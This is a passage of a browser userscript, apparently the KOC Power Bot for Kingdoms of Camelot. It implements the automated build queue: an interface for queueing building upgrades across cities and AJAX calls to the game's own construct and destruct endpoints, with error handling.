					delete seed.queue_atkinc["m" + mid]
				}
				else {
					Modal.showAlert(printLocalError((rslt.error_code || null), (rslt.msg || null), (rslt.feedback || null)))
				}
			},
			onFailure: function(){
			}
		})
	},
}

/****************************  Build Implementation  ******************************
 TODO:
     visu directly in the game of build queue elements
     <span class="leveltag" style="left:60px;">10</span>
     more todos within the code
 */
var quickAddBuildings = {
   all:"Buildings",
   barracks:"Barracks",
   cottages:"Cottages",
   empty:"Empty Slots",
}
var buildTabTypes = {
    type1: "Farm",
    type2: "Sawmill",
    type3: "Quarry",
    type4: "Mine",
    type5: "Cottage",
    type6: "Tavern",
    type7: "Knights Hall",
    type8: "Embassy",
    type9: "Storehouse",
    type10: "Market",
    type11: "Alchemy Lab",
    type12: "Rally Point",
    type13: "Barracks",
    type15: "Blacksmith",
    type16: "Workshop",
    type17: "Stable",
    type18: "Relief Station",
    type19: "Wall",
    type20: "FeySpire",
    type21: "Apothecary",
    type22: "Druid Barracks",
    type23: "Druid Apothecary",
    type24: "Fey Barracks",
    type25: "Fey Altar",
    type26: "Briton Barracks",
    type27: "Briton Workshop",
    type0: "Castle",
    type666: "KOCpowerbot"
};
Tabs.build = {
    tabOrder: 20,
    tabLabel: unsafeWindow.g_js_strings.commonstr.build,
    myDiv: null,
    timer: null,
    buildTab: null,
    koc_buildslot: null,
    currentBuildMode: null,
    newBuildMode: null,
    buildStates: [],
    loaded_bQ: [],
    lbQ: [],
    toolsMode: null,
    buildingSelect:'all',
    UASlowDown : 0,
	build0:false,
	build1:false,
	build2:false,
	build3:false,
	build4:false,
	build5:false,
	build6:false,
	build7:false,
	csok: true,
	lastcsok: true,
	
    init: function (div) {
        var t = Tabs.build;
        t.myDiv = div;
        t.koc_buildslot = unsafeWindow.buildslot; //save original koc function
        t.currentBuildMode = "build";
        t.newBuildMode = "5";
        t.buildStates = {
            running: false,
            help: false,
            tr :	false,
            trset :	0,
			maxbuildlevel: 9,
        };
        t.readBuildStates();
        for (var i = 0; i < Cities.cities.length; i++) {
            t["bQ_" + Cities.cities[i].id] = JSON2.parse(GM_getValue('bQ_' + getServerId() + '_' + Cities.cities[i].id, '[]'));
            if (typeof t["bQ_" + Cities.cities[i].id] == 'undefined' || (t["bQ_" + Cities.cities[i].id]) == "") {
                t["bQ_" + Cities.cities[i].id] = [];
            }
        }
        var m = '<DIV id=pbBuildDivF class=pbStat>' + translate("AUTOMATED BUILD FUNCTION") + '</div><TABLE id=pbbuildfunctions width=100% height=0% class=pbTab><TR>';
        if (t.buildStates.running == false) {
            m += '<TD align=center><INPUT id=pbBuildRunning type=submit value="' + translate("Auto Build = OFF") + '"></td>';
        } else {
            m += '<TD align=center><INPUT id=pbBuildRunning type=submit value="' + translate("Auto Build = ON") + '"></td>';
        }
        m += '<TD align=center><INPUT id=pbBuildMode type=submit value="' + translate("Build Mode = OFF") + '">&nbsp;&nbsp;';
        m += translate("Type") + ': <SELECT id="pbBuildType">\
            <OPTION value=build>' + translate("Next Level") + '</option>\
            <OPTION value=max>' + translate("Maximum Level") + '</option>\
            <OPTION value=destruct>' + translate("Destroy") + '</option>\
            <OPTION value=stomp>' + translate("Dragon Stomp") + '</option>\
            </select>&nbsp;&nbsp;&nbsp;';
        m += translate("Build") + '<SELECT id="pbNewBuildType">\
            <OPTION value=5>' + translate("Cottages") + '</option>\
            <OPTION value=13>' + translate("Barracks") + '</option>\
            <OPTION value=1>' + translate("Farms") + '</option>\
            <OPTION value=2>' + translate("Sawmills") + '</option>\
            <OPTION value=3>' + translate("Quarries") + '</option>\
            <OPTION value=4>' + translate("Mines") + '</option>\
            </select>&nbsp;'+translate("on empty slots")+'</td></tr></table>';
        m += '<DIV class=pbStat>' + translate("BUILD OPTIONS") + '</div>'
        m += '<TABLE width=100% height=0% class=pbTab><tr><TD><INPUT id=pbHelpRequest type=checkbox ' + (t.buildStates.help ? ' CHECKED' : '') + '\>' + translate("Ask for help") + '?</td><TD align=right>'+translate("Maximum Build Level") + ': <SELECT id="pbMaxBuildLevel">\
			<OPTION value=9 '+(t.buildStates.maxbuildlevel=='9'?'SELECTED':'')+'>' + translate("9") + '</option>\
			<OPTION value=10 '+(t.buildStates.maxbuildlevel=='10'?'SELECTED':'')+'>' + translate("10") + '</option>\
            <OPTION value=11 '+(t.buildStates.maxbuildlevel=='11'?'SELECTED':'')+'>' + translate("11") + '</option>\
            <OPTION value=12 '+(t.buildStates.maxbuildlevel=='12'?'SELECTED':'')+'>' + translate("12") + '</option>\
            </select></TD></tr>';
        m += '<tr><td><INPUT id=pbbuildtr type=checkbox '+(t.buildStates.tr?'CHECKED':'')+'> '+translate('Only build when construction speed is at least')+' <INPUT id=pbbuildtrset type=text size=3 maxlength=4 value="'+ t.buildStates.trset +'">%</td><td align=right>Current Construction Speed:&nbsp;<span id=currcons></span>&nbsp;&nbsp;</td></tr></table>';
        m += '<DIV id=pbBuildDivF class=pbStat>' + translate("QUICK ADD") + '</div>'
        m += '<TABLE id=pbbuildtools width=100% height=0% class=pbTab><TR><td>';
        m += '<DIV id=cityBuild></div></td>';

        m += '<TD>Queue ALL<SELECT id=whichBuilding>';
         for (k in quickAddBuildings){
            m += '<OPTION value='+k+'>'+quickAddBuildings[k]+'</option>';
         }
        m += '</select>';

        m += ' to level &nbsp;<SELECT id=addAllTo>'
        for (a = 2; a <= t.buildStates.maxbuildlevel; a++) {
            m += '<OPTION value=toLvl' + a + '>' + a + '</option>';
        }
        m += '</select>';
        m += '<INPUT id=doXbuildingToX type=submit value=ADD></td>';

        m += '</table>';
        m += '<DIV id=pbBuildDivQ class=pbStat>' + translate("BUILD QUEUES") + '</div><TABLE id=pbbuildqueues width=100% height=0% class=pbentry><TR>';
        for (var i = 0; i < Cities.cities.length; i++) {
            m += '<TD colspan=2><CENTER><B>' + Cities.cities[i].name + '</b></center></td>';
        }
        m += '</tr><TR>';
        for (var i = 0; i < Cities.cities.length; i++) {
            m += '<TD colspan=2><CENTER><INPUT id=pbbuild_' + Cities.cities[i].id + ' type=submit value="' + translate("Show") + '"></center></td>';
        }
        m += '</tr><TR>';
        for (var i = 0; i < Cities.cities.length; i++) {
            m += '<TD colspan=2><CENTER><INPUT id=pbCancelAll_' + Cities.cities[i].id + ' type=submit value="' + translate("Cancel All") + '"></center></td>';
        }
        m += '</tr><TR>';
        for (var i = 0; i < Cities.cities.length; i++) {
            m += '<TD colspan=2><CENTER><DIV id=divBuildingCity_' + Cities.cities[i].id + '></div></center></td>';
        }
        m += '</tr><TR>';
        for (var i = 0; i < Cities.cities.length; i++) {
            m += '<TD colspan=2><CENTER><DIV id=divCurrentBuildCity_' + Cities.cities[i].id + '></div></center></td>';
        }
        m += '</tr><TR>';
        for (var i = 0; i < Cities.cities.length; i++) {
            m += '<TD colspan=2><CENTER><DIV id=divTimeLeftCity_' + Cities.cities[i].id + '></div></center></td>';
        }
        m += '</tr><TR>';
        for (var i = 0; i < Cities.cities.length; i++) {
            m += '<TD>Qc:</td><TD id=pbbuildcount_' + Cities.cities[i].id + '>' + t["bQ_" + Cities.cities[i].id].length + '</td>';
        }
        m += '</tr><TR>';
        for (var i = 0; i < Cities.cities.length; i++) {
            t['totalTime_' + Cities.cities[i].id] = 0;
            cbQ = t["bQ_" + Cities.cities[i].id];
            if (typeof cbQ != 'undefined') {
                for (var j = 0; j < cbQ.length; j++) {
                    t['totalTime_' + Cities.cities[i].id] = parseInt(t['totalTime_' + Cities.cities[i].id]) + parseInt(cbQ[j].buildingTime);
                }
                timestring = timestr(t['totalTime_' + Cities.cities[i].id]);
            }
            m += '<TD>Tt:</td><TD id=pbbuildtotal_' + Cities.cities[i].id + '>' + timestring + '</td>';
        }
        m += '</tr></table><SPAN class=boldRed id=pbbuildError></span>';
        t.myDiv.innerHTML = m;
        new CdispCityPicker ('cityBuildpicker', document.getElementById('cityBuild'), true, t.ClickCitySelect, 0);
        setInterval(t.paintBusyDivs, 1 * 1000)
        for (var i = 0; i < Cities.cities.length; i++) {
            var cityId = Cities.cities[i].id;
            var btnName = 'pbbuild_' + cityId;
            addQueueEventListener(cityId, btnName);
            var btn2Name = 'pbCancelAll_' + cityId;
            CancelAllEventListener(cityId, btn2Name);
            t.showBuildQueue(cityId, false);
        }
        t.e_autoBuild(); //start checking if we can build someting
        document.getElementById('pbBuildType').addEventListener('change', function () {
            t.setBuildMode(this.value);
        }, false);
        document.getElementById('pbNewBuildType').addEventListener('change', function () {
            t.setNewBuildMode(this.value);
        }, false);
        document.getElementById('pbBuildRunning').addEventListener('click', function () {
            t.toggleStateRunning(this);
        }, false);
        document.getElementById('pbBuildMode').addEventListener('click', function () {
            t.toggleStateMode(this);
        }, false);
        document.getElementById('pbMaxBuildLevel').addEventListener('change', function () {
            t.buildStates.maxbuildlevel = this.value;
            t.saveBuildStates();
			m = '';
			for (a = 2; a <= t.buildStates.maxbuildlevel; a++) {
				m += '<OPTION value=toLvl' + a + '>' + a + '</option>';
			}
			document.getElementById('addAllTo').innerHTML = m;
        }, false);
        document.getElementById('pbHelpRequest').addEventListener('change', function () {
            t.buildStates.help = (document.getElementById('pbHelpRequest').checked);
            t.saveBuildStates();
        }, false);
        document.getElementById('pbbuildtr').addEventListener('click', function () {
            t.buildStates.tr = this.checked;
            t.saveBuildStates();
        }, false);
        document.getElementById('pbbuildtrset').addEventListener('change', function () {
            t.buildStates.trset = this.value;
            t.saveBuildStates();
        }, false);
        document.getElementById('whichBuilding').addEventListener('change',function(){
         t.buildingSelect = document.getElementById('whichBuilding').value
        });
        document.getElementById('doXbuildingToX').addEventListener('click', function () {
         toLevel = document.getElementById('addAllTo').value.substr(5);
            if (t.buildingSelect == 'all'){
               t.allBuildsTo(toLevel);
            }
            if (t.buildingSelect == 'barracks'){
               t.allBarracksTo(toLevel);
            }
            if (t.buildingSelect == 'cottages'){
               t.allCotsTo(toLevel);
            }
            if (t.buildingSelect == 'empty'){
				toType = document.getElementById("pbNewBuildType").value;
				t.allSpacesTo(toType,toLevel);
            }
            toLevel = null;
        });
        window.addEventListener('unload', t.onUnload, false);

        function addQueueEventListener(cityId, name) {
            document.getElementById(name).addEventListener('click', function () {
                t.showBuildQueue(cityId, true);
            }, false);
        }

        function CancelAllEventListener(cityId, name) {
            document.getElementById(name).addEventListener('click', function () {
                t["bQ_" + cityId] = [];
                t['totalTime_' + cityId] = 0;
                document.getElementById('pbbuildcount_' + cityId).innerHTML = 0;
                document.getElementById('pbbuildtotal_' + cityId).innerHTML = timestr(0);
            }, false);
        }

		var cs = Math.floor(equippedthronestats(78));
		document.getElementById("currcons").innerHTML = cs+'%';
		t.csok = (!t.buildStates.tr || (cs >= Number(t.buildStates.trset)));
		if (t.csok != t.lastcsok) {
			if (!t.csok) {
				unsafeWindow.jQuery('#currcons').css('color', 'red');
			}	
			else {	
				unsafeWindow.jQuery('#currcons').css('color', 'black');
			}
		}		
		t.lastcsok = t.csok;

    },
    ClickCitySelect:function(city){
      //logit(city.toSource());
      var t = Tabs.build;
      t.currentCity = city.id
   },
    allBuildsTo: function (toLevel) {
        var t = Tabs.build;
        var cityId = t.currentCity
        var builds = Seed.buildings
        //alert('1'+cityId)

            for (pos in builds['city'+cityId]) {
                if (builds['city'+cityId][pos] != undefined && builds['city'+cityId][pos][1] != 0) {
                    var item = builds['city'+cityId][pos]
                    if (parseIntNan(item[1]) < toLevel) {
                        var buildingType = item[0];
                        var currentLevel = item[1];
                        var position = item[2];
                        if (item[3] != undefined) {
                            var buildingId = item[3];
                        } else {
                            var buildingId = 0;
                        }
						if (parseInt(position) < 300 || parseInt(position) > 309) { // no dummy ascension buildings
							t.doExtraTools(cityId, position, buildingId, buildingType, currentLevel,toLevel);
						}
                    }
                }
            }
            t.paintBuildQueue(cityId, true);
    },
    allCotsTo: function (toLevel) {
        var t = Tabs.build;
        var cityId = t.currentCity
        var builds = Seed.buildings
        for (pos in builds['city'+cityId]) {
            if (builds['city'+cityId][pos] != undefined && builds['city'+cityId][pos][0] == 5 && builds['city'+cityId][pos][1] != 0) {
                var item = builds['city'+cityId][pos]
                if (parseIntNan(item[1]) < toLevel) {
                    var buildingType = item[0];
                    var currentLevel = item[1];
                    var position = item[2];
                    if (item[3] != undefined) {
                        var buildingId = item[3];
                    } else {
                        var buildingId = 0;
                    }
                    t.doExtraTools(cityId, position, buildingId, buildingType, currentLevel,toLevel) //
                }
            }
        }
		t.paintBuildQueue(cityId, true);
    },
    allBarracksTo: function (toLevel) {
        var t = Tabs.build;
        var cityId = t.currentCity
        var builds = Seed.buildings
        for (pos in builds['city'+cityId]) {
            if (builds['city'+cityId][pos] != undefined && builds['city'+cityId][pos][0] == 13 && builds['city'+cityId][pos][1] != 0) {
                var item = builds['city'+cityId][pos]
                if (parseIntNan(item[1]) < toLevel) {
                    var buildingType = item[0];
                    var currentLevel = item[1];
                    var position = item[2];
                    if (item[3] != undefined) {
                        var buildingId = item[3];
                    } else {
                        var buildingId = 0;
                    }
                    t.doExtraTools(cityId, position, buildingId, buildingType, currentLevel,toLevel) //
                }
            }
        }
			t.paintBuildQueue(cityId, true);
    },
    allSpacesTo: function (toType,toLevel) {
        var t = Tabs.build;
        var cityId = t.currentCity
        var builds = Seed.buildings
        for (var b = 1;b<=32;b++) {
			if (!builds['city'+cityId]['pos'+b]) {
				var buildingType = toType;
				var currentLevel = 0;
				var position = b;
				var buildingId = 0;
				t.doExtraTools(cityId, position, buildingId, buildingType, currentLevel,toLevel);
            }
        }
			t.paintBuildQueue(cityId, true);
    },
    setBuildMode: function (type) {
        var t = Tabs.build;
        t.currentBuildMode = type;
    },
    setNewBuildMode: function (type) {
        var t = Tabs.build;
        t.newBuildMode = type;
    },
   doExtraTools: function (cityId, pos, buildingId, buildingType, currentLevel,toLevel) { //
        //logit(cityId+ ' ' +pos + ' ' + buildingId); //, buildingType, buildingId, buildingTime, buildingLevel, buildingAttempts, buildingMult, buildingMode
        var startLevel = parseInt(currentLevel)
        var t = Tabs.build;
        for (k = startLevel; k < parseInt(toLevel); k++) {
            var buildingMode = "build";
            var cityId = parseInt(cityId);
            var buildingPos = parseInt(pos);
            var buildingType = parseInt(buildingType);
            var buildingLevel = parseInt(currentLevel);
            var buildingAttempts = parseInt(0);
            var result = t.calculateQueueValues(cityId, buildingLevel, buildingType, buildingMode);
            var buildingMult = result[0];
            var buildingTime = result[1];
            var buildingId = parseInt(buildingId);
            t.addQueueItem(cityId, buildingPos, buildingType, buildingId, buildingTime, buildingLevel, buildingAttempts, buildingMult, buildingMode);
            currentLevel++
        }
			t.paintBuildQueue(cityId, true);

    },

    e_autoBuild: function () {
        var t = Tabs.build;
        var buildInterval = 5000+t.UASlowDown; // 2 seconds between checks by default
        document.getElementById('pbbuildError').innerHTML = '';
      
        if (t.buildStates.running == true) {
            var now = unixTime()-5;//lets give some error room
            //logit ('Seed.queue_con: (now='+ now +')\n'+ inspect (Seed.queue_con, 3));
	    var itime = 1000;
            for (var i = 0; i < Cities.cities.length; i++) {
                var cityId = Cities.cities[i].id;
	      	if(t["bQ_" + cityId][0])
		  itime += 2000;
                var isBusy = false;
                var qcon = Seed.queue_con["city" + cityId];
             	if(t['build'+Cities.byID[cityId].idx] == true) continue;//so we don't get overloaded with slowed down requests
                if (qcon.length > 0) {
				/***
				string) 0 = buildingtype
				(number) 1 = buildinglevel
				(number) 2 = buildingid
				(number) 3 = 1365089062
				(number) 4 = 1365089138
				(number) 5 = 0
				(number) 6 = 76
				(number) 7 = position
				* ***/
                  if (parseInt(qcon[0][4]) > now) isBusy = true;
                  else {
                  	if(qcon[0][1] == 0) {//if it is destruct
                  		delete Seed.buildings["city" + cityId]['pos'+qcon[0][7]];
               	   	} else {
				Seed.buildings["city" + cityId]['pos'+qcon[0][7]] = [qcon[0][0],qcon[0][1],qcon[0][7],qcon[0][2]];// first make sure the building is correct
				logit('construct '+Cities.byID[cityId].name+' removing '+qcon[0][4]+' > '+now);
			};
			qcon.shift(); // remove expired build from queue
			unsafeWindow.modal_build_show_state();
			if (cityId == unsafeWindow.currentcityid) unsafeWindow.update_bdg();
		  };
                }
                //logit ('City #'+ (i+1) + ' : busy='+ isBusy);               
                if (isBusy) {
					//logit('construct '+Cities.byID[cityId].name+' is busy');
					//0 = 5,9,7222643,1365086688,1365087900,0,3840,8
                    //TODO add info of remaining build time and queue infos
                } else {
					var cs = Math.floor(equippedthronestats(78));
					document.getElementById("currcons").innerHTML = cs+'%';
					t.csok = (!t.buildStates.tr || (cs >= Number(t.buildStates.trset)));
					if (t.csok != t.lastcsok) {
						if (!t.csok) {
							unsafeWindow.jQuery('#currcons').css('color', 'red');
						}	
						else {	
							unsafeWindow.jQuery('#currcons').css('color', 'black');
						}
					}		
					t.lastcsok = t.csok;
                    if(t.buildStates.tr && t.buildStates.trset > cs) continue;//check just before we start building.  lets the other enhancements keep working.                	
                    	if (t["bQ_" + cityId].length > 0) { // something to do?
                       	  t['build'+Cities.byID[cityId].idx] = true;
                       	  t.doOneSlowdown(cityId,itime);
                    	}
                }
            }
        }
        setTimeout(t.e_autoBuild, buildInterval); //should be at least 10
    },

    doOneSlowdown : function (cityId,itime){
        var t = Tabs.build;
		setTimeout(function(){t.doOne(cityId)},itime);
	},
    
    paintBusyDivs: function () {
        var t = Tabs.build;
        var now = unixTime();
        for (var i = 0; i < Cities.cities.length; i++) {
            var cityId = Cities.cities[i].id;
            var isBusy = false;
            var qcon = Seed.queue_con["city" + cityId];
            if (matTypeof(qcon) == 'array' && qcon.length > 0) {
                if (parseInt(qcon[0][4]) > now) {
                    isBusy = true;
                }
            }
            if (isBusy) {
                var timeLeft = Seed.queue_con["city" + cityId][0][4] - now
                if (Seed.queue_con["city" + cityId][0][1] == 0) {
                    document.getElementById('divBuildingCity_' + cityId).innerHTML = 'Destructing...';
                } else {
                    document.getElementById('divBuildingCity_' + cityId).innerHTML = 'Building...';
                }
                document.getElementById('divCurrentBuildCity_' + cityId).innerHTML = buildTabTypes['type' + Seed.queue_con["city" + cityId][0][0]] + ' Lvl ' + Seed.queue_con["city" + cityId][0][1];
                document.getElementById('divTimeLeftCity_' + cityId).innerHTML = timestr(timeLeft);
            } else {
                document.getElementById('divBuildingCity_' + cityId).innerHTML = '';
                document.getElementById('divCurrentBuildCity_' + cityId).innerHTML = '';
                document.getElementById('divTimeLeftCity_' + cityId).innerHTML = '';
            }
        }
    },
    doOne: function (cityId) {
        var t = Tabs.build;
	if(!t["bQ_" + cityId][0])return;
	var bQi = t["bQ_" + cityId][0]; //take first queue item to build
	if(!bQi)return;
        var currentcityid = parseInt(bQi.cityId);
        t['build'+Cities.byID[currentcityid].idx] = false;
        var cityName = t.getCityNameById(currentcityid);
        var time = parseInt(bQi.buildingTime);
        var mult = parseInt(bQi.buildingMult);
        var attempt = parseInt(bQi.buildingAttempt);
        var bypasscheck = false;
        //mat/KOC Power Bot: 49 @ 19:41:45.274: Pos: 6 Type: 13 Level: 8 Id: 1523749
        var mode = bQi.buildingMode;
        //  var mode = "build"; //FOR DEBUG
        var citpos = parseInt(bQi.buildingPos);
        //  var citpos = 6; //FOR DEBUG
			var qcon = Seed.queue_con["city" + bQi.cityId];
				if (matTypeof(qcon) == 'array' && qcon.length > 0) {
					logit('construct something going on in '+Cities.byID[currentcityid].name+' so not building');
					return;
				};
        if ((Seed.buildings['city' + currentcityid]["pos" + citpos] == undefined)) bypasscheck = true;
        if (!bypasscheck) {
        	//logit("con "+Seed.buildings['city' + currentcityid]["pos" + citpos]);
            var l_bdgid = parseInt(bQi.buildingType); //JUST FOR CHECK
            var bdgid = parseInt(Seed.buildings['city' + currentcityid]["pos" + citpos][0]);
            var l_curlvl = parseInt(bQi.buildingLevel); //JUST FOR CHECK
            var curlvl = parseIntNan(Seed.buildings['city' + currentcityid]["pos" + citpos][1]);
            var l_bid = parseInt(bQi.buildingId); //JUST FOR CHECK
            var bid = parseInt(Seed.buildings["city" + currentcityid]["pos" + citpos][3]);
            if (curlvl >= t.buildStates.maxbuildlevel && mode == 'build') {
                t.cancelQueueElement(0, currentcityid, time, false);
                actionLog(translate("Queue item deleted: Building level equals max level or higher!!!"));
                return;
            };
            if (isNaN(curlvl)) {
                t.cancelQueueElement(0, currentcityid, time, false);
                actionLog(translate("Found no correct value for current building!!!!"));
                return;
            }
            if (l_bdgid != bdgid) {
                t.cancelQueueElement(0, currentcityid, time, false);
                actionLog(translate("Building Type does not match!!!!"));
                return;
            }
            if (l_bid != bid && l_bid !=0) {
                t.cancelQueueElement(0, currentcityid, time, false);
                actionLog(translate("Building ID does not match!!!!"));
                return;
            }
            if (l_curlvl < curlvl) {
                t.cancelQueueElement(0, currentcityid, time, false);
                logit("con "+l_curlvl+" < "+curlvl);
                actionLog(translate("Queue item deleted: Building level is equal or higher!!!"));
                return;
            }
            if (l_curlvl > curlvl && mode == 'build') {
                t.requeueQueueElement(bQi);
                //logit('requeue '+l_curlvl+' > '+curlvl);
                return;
            }
        } else {
            var l_bdgid = parseInt(bQi.buildingType); //JUST FOR CHECK
            var bdgid = l_bdgid;
            //  var bdgid = 13; //FOR DEBUG
            var l_curlvl = parseInt(bQi.buildingLevel); //JUST FOR CHECK
            var curlvl = l_curlvl;
            //  var curlvl = 8; //FOR DEBUG
            var l_bid = parseInt(bQi.buildingId); //JUST FOR CHECK
            var bid = l_bid;
        }
        if (mode == 'destruct') {
            var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
            params.cid = currentcityid;
            params.bid = "";
            params.pos = citpos;
            params.lv = curlvl - 1;
            if (curlvl >= 1) {
                params.bid = bid;
            }
            params.type = bdgid;
                params.pay_for_an_additional_queue=0;
                params.permission=0;
            new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/destruct.php" + unsafeWindow.g_ajaxsuffix, {
                method: "post",
                parameters: params,
                onSuccess: function (rslt) {
                 if (rslt.updateSeed)
               unsafeWindow.update_seed(rslt.updateSeed);
                    if (rslt.ok) {
                        actionLog("Destructing " + unsafeWindow.buildingcost['bdg' + bdgid][0] + " at " + cityName);
                        Seed.queue_con["city" + currentcityid].push([bdgid, 0, parseInt(rslt.buildingId), unsafeWindow.unixtime(), unsafeWindow.unixtime() + time, 0, time, citpos]);
                        if (params.cid == unsafeWindow.currentcityid) unsafeWindow.update_bdg();
                        t.cancelQueueElement(0, currentcityid, time, false);
                    } else {
                        var errmsg = unsafeWindow.printLocalError(rslt.error_code || null, rslt.msg || null, rslt.feedback || null);
                        document.getElementById('pbbuildError').innerHTML = inspect(errmsg);
						var a = null;
						var g = Number(rslt.error_code);
						var g_server = unsafeWindow.g_server;
						switch (g) {
							case 0:
								a = "Unexpected Error.";
								break;
							case 2://lets try update seed to fix the missing build
								unsafeWindow.buildingcost["bdg666"] = ["KOCpowerbot", 0, 0, 0, 0, 0, 0, 0, [], [], ""];//comical wallet gremlin placeholder
								Seed.queue_con["city" + currentcityid].push([666, 666, 666, unsafeWindow.unixtime(), unsafeWindow.unixtime() + 90, 0, 90, 999]);
								a = "Construction is already starting.";
								break;
							case 3://Unknown issue when updating your game, please try again
								break;
							case 8:
								a = "Excess traffic.";
								unsafeWindow.cm.GATracker("Error", a + " (" + g + ")", g_server);
								break;
							case 102:
								//a = "Another building already exists on the same spot!"; lets delete our queued building
								t.cancelQueueElement(0, currentcityid, time, false);
								break;
							case 103:
								// building has already the target level => just  delete
								t.cancelQueueElement(0, currentcityid, time, false);
								break;
							default:
								a = "Something has gone wrong.";
								unsafeWindow.cm.GATracker("Error", a + " (" + g + ")", g_server); 
								t.requeueQueueElement(bQi);
								document.getElementById('pbbuildError').innerHTML = Cities.byID[currentcityid].name + ': ' + inspect(errmsg) + translate(" Item was requeued. Check for retry count.");
								break;
							};
							if(rslt.user_action) {
								t.UASlowDown += 1000;
							};
                        logit(errmsg);
                    }
                },
                onFailure: function () {
                    document.getElementById('pbbuildError').innerHTML = translate("Connection Error while destructing! Please try later again");
                }
            },true)
        }
        if (mode == 'build') {
            var invalid = false;
            var chk = unsafeWindow.checkreq("bdg", bdgid, curlvl); //check if all requirements are met
            for (var c = 0; c < chk[3].length; c++) {
                if (chk[3][c] == 0) {
                    invalid = true;
                }
            }
            if (invalid == false) {
                var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
                params.cid = currentcityid;
                params.bid = "";
                params.pos = citpos;
                params.lv = curlvl + 1;
                if (params.lv > t.buildStates.maxbuildlevel) { //make sure that no level greater than max is built
                    t.cancelQueueElement(0, currentcityid, time, false);
                    actionLog(translate("Queue item deleted: Tried to build level past maximum building level!"));
                    return;
                }
                if (params.lv > 1) {
                    params.bid = bid;
                }
                params.type = bdgid;
                params.pay_for_an_additional_queue=0;
				if (params.lv > 9)
					params.permission=1;
				else
                    params.permission=0;
                new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/construct.php" + unsafeWindow.g_ajaxsuffix, {
                    method: "post",
                    parameters: params,
                    onSuccess: function (rslt) {
                 if (rslt.updateSeed)
                unsafeWindow.update_seed(rslt.updateSeed);
                        if (rslt.ok) {
                            //logit(inspect(rslt));
                            actionLog(translate("Building") + " " + unsafeWindow.buildingcost['bdg' + bdgid][0] + " Level " + params.lv + " at " + cityName);
                            Seed.resources["city" + currentcityid].rec1[0] -= parseInt(unsafeWindow.buildingcost["bdg" + bdgid][1]) * mult * 3600;
                            Seed.resources["city" + currentcityid].rec2[0] -= parseInt(unsafeWindow.buildingcost["bdg" + bdgid][2]) * mult * 3600;
                            Seed.resources["city" + currentcityid].rec3[0] -= parseInt(unsafeWindow.buildingcost["bdg" + bdgid][3]) * mult * 3600;
                            Seed.resources["city" + currentcityid].rec4[0] -= parseInt(unsafeWindow.buildingcost["bdg" + bdgid][4]) * mult * 3600;
                            Seed.citystats["city" + currentcityid].gold[0] -= parseInt(unsafeWindow.buildingcost["bdg" + bdgid][5]) * mult;
                            Seed.queue_con["city" + currentcityid].push([bdgid, curlvl + 1, parseInt(rslt.buildingId), unsafeWindow.unixtime(), unsafeWindow.unixtime() + time, 0, time, citpos]);
                            //unsafeWindow.Modal.hideModalAll();
                            unsafeWindow.queue_changetab_building();
                            unsafeWindow.modal_build_show_state();
                            if (params.cid == unsafeWindow.currentcityid) unsafeWindow.update_bdg();
                            if (document.getElementById('pbHelpRequest').checked == true && time > 59) t.bot_gethelp(params.bid, currentcityid, time, 1);
                            t.cancelQueueElement(0, currentcityid, time, false);
                        } else {
                            var errmsg = unsafeWindow.printLocalError(rslt.error_code || null, rslt.msg || null, rslt.feedback || null);
						var a = null;
						var g = Number(rslt.error_code);
						var g_server = unsafeWindow.g_server;
						switch (g) {
							case 0:
								a = "Unexpected Error.";
								break;
							case 2://lets try update seed to fix the missing build?
								unsafeWindow.buildingcost["bdg666"] = ["KOCpowerbot", 0, 0, 0, 0, 0, 0, 0, [], [], ""];//comical wallet gremlin placeholder
								Seed.queue_con["city" + currentcityid].push([666, 666, 666, unsafeWindow.unixtime(), unsafeWindow.unixtime() + 90, 0, 90, 999]);
								a = "Construction is already starting.";
								break;
							case 3://Unknown issue when updating your game, please try again
								break;
							case 8:
								a = "Excess traffic.";
								unsafeWindow.cm.GATracker("Error", a + " (" + g + ")", g_server);
								break;
							case 102:
								//a = "Another building already exists on the same spot!"; lets delete our queued building
								logit('Another building already exists on the same spot lets delete our queued building');
								t.cancelQueueElement(0, currentcityid, time, false);
								break;
							case 103:
								// building has already the target level => just  delete
								logit('building has already the target level => just  delete')
								t.cancelQueueElement(0, currentcityid, time, false);
								break;
							default:
								a = "Something has gone wrong.";
								unsafeWindow.cm.GATracker("Error", a + " (" + g + ")", g_server); 
								t.requeueQueueElement(bQi);
								document.getElementById('pbbuildError').innerHTML = Cities.byID[currentcityid].name + ': ' + errmsg + translate(" Item was requeued. Check for retry count.");
								break;
							};
							if(rslt.user_action) {
								t.UASlowDown += 1000;
							};
							
                            logit(errmsg);
                            
                        }
                    },
                    onFailure: function () {
                        document.getElementById('pbbuildError').innerHTML = translate("Connection Error while building! Please try again later");
                    }
                },true);
            } else {
                t.requeueQueueElement(bQi); // requeue item if check is invalid
            }
        }
        // } else {
        // t.cancelQueueElement(0, currentcityid, time, false);
        // actionLog(translate("Queue item deleted: Building does not exist!!!"));
        // }
    },
    requeueQueueElement: function (bQi) {
        var t = Tabs.build;
        var cityId = bQi.cityId;
        var buildingPos = parseInt(bQi.buildingPos);
        var buildingId = parseInt(bQi.buildingId);
        var buildingLevel = parseInt(bQi.buildingLevel);
        var buildingType = parseInt(bQi.buildingType);
        var buildingTime = parseInt(bQi.buildingTime);
        var buildingMult = parseInt(bQi.buildingMult);
        var buildingAttempts = parseInt(bQi.buildingAttempts);
        var buildingMode = bQi.buildingMode;
        if(buildingAttempts < 10)
        t.addQueueItem(cityId, buildingPos, buildingType, buildingId, buildingTime, buildingLevel, buildingAttempts + 1, buildingMult, buildingMode); // requeue item
        t.cancelQueueElement(0, cityId, buildingTime, false); // delete Queue Item
    },
    show: function () {
        var t = Tabs.build;
    },
    bot_buildslot: function (c, a) {
        var t = Tabs.build;
        var cityId = t.getCurrentCityId();
        var buildingPos = c.id.split("_")[1];
		if (!Seed.buildings['city' + cityId]["pos" + buildingPos]) {
			// new build!
			var buildingType = document.getElementById("pbNewBuildType").value;
			var buildingLevel = 0;
			var buildingId = 0;
		}
		else {
			var buildingType = parseInt(Seed.buildings['city' + cityId]["pos" + buildingPos][0]);
			var buildingLevel = parseInt(Seed.buildings['city' + cityId]["pos" + buildingPos][1]);
			var buildingId = parseInt(Seed.buildings['city' + cityId]["pos" + buildingPos][3]);
		}	
        if (DEBUG_TRACE) logit("Pos: " + buildingPos + " Type: " + buildingType + " Level: " + buildingLevel + " Id: " + buildingId);
        var buildingAttempts = 0;
        var loaded_bQ = t["bQ_" + cityId];
